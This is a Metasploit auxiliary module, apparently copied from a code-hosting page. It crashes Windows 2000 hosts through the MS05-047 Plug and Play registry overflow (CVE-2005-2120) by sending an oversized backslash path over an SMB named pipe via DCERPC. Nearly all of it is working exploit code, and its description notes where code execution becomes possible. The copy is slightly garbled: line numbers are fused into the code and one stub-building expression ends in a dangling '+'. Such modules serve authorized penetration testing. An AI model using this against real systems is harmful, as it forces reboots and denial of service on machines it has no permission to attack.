Path: blob/master/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::DCERPC7include Msf::Exploit::Remote::SMB::Client8include Msf::Auxiliary::Dos910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Microsoft Plug and Play Service Registry Overflow',15'Description' => %q{16This module triggers a stack buffer overflow in the Windows Plug17and Play service. This vulnerability can be exploited on18Windows 2000 without a valid user account. Since the PnP19service runs inside the service.exe process, this module20will result in a forced reboot on Windows 2000. Obtaining21code execution is possible if user-controlled memory can22be placed at 0x00000030, 0x0030005C, or 0x005C005C.23},24'Author' => [ 'hdm' ],25'License' => MSF_LICENSE,26'References' => [27[ 'CVE', '2005-2120' ],28[ 'MSB', 'MS05-047' ],29[ 'BID', '15065' ],30[ 'OSVDB', '18830' ]31],32'Notes' => {33'Stability' => [CRASH_OS_RESTARTS],34'SideEffects' => [],35'Reliability' => []36}37)38)3940register_options(41[42OptString.new('SMBPIPE', [ true, 'The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)', 'browser']),43]44)45end4647=begin4849/* Function 0x0a at 0x767a54a8 */50long function_0a (51[in] [unique] [string] wchar_t * arg_00,52[out] [size_is(*arg_02)] [length_is(*arg_02)] wchar_t * arg_01,53[in,out] long * arg_02,54[in] long arg_0355);5657=end5859def run60# Determine which pipe to use61pipe = datastore['SMBPIPE']6263print_status('Connecting to the SMB service...')64connect65smb_login6667# Results of testing on Windows 2000 SP068# 324 / 325 exception handled69# 326 write to 070# 327 jump to 0000003071# 328 jump to 0030005C72# 329 jump to 005C005C7374# Completely smash the process stack75i = 10247677handle = dcerpc_handle('8d9f4e40-a03d-11ce-8f69-08003e30051b', '1.0', 'ncacn_np', ["\\#{pipe}"])78print_status("Binding to #{handle} ...")79dcerpc_bind(handle)80print_status("Bound to #{handle} ...")8182path = 'HTREE\\ROOT' + ('\\' * i)8384# 0 = nil, 1 = enum, 2/3 = services, 4 = enum (currentcontrolset|caps)8586stubdata =87NDR.long(rand(0xffffffff)) +88NDR.wstring(path) +89NDR.long(4) +90NDR.long(1) +91print_status('Calling the vulnerable function...')9293begin94dcerpc.call(0x0a, stubdata)95rescue Rex::Proto::DCERPC::Exceptions::NoResponse96print_good('Server did not respond, this is expected')97rescue ::Errno::ECONNRESET98print_good('Connection reset by peer (possible success)')99rescue StandardError => e100if e.to_s =~ /STATUS_PIPE_DISCONNECTED/101print_good('Server disconnected, this is expected')102else103raise e104end105end106107disconnect108end109end110111112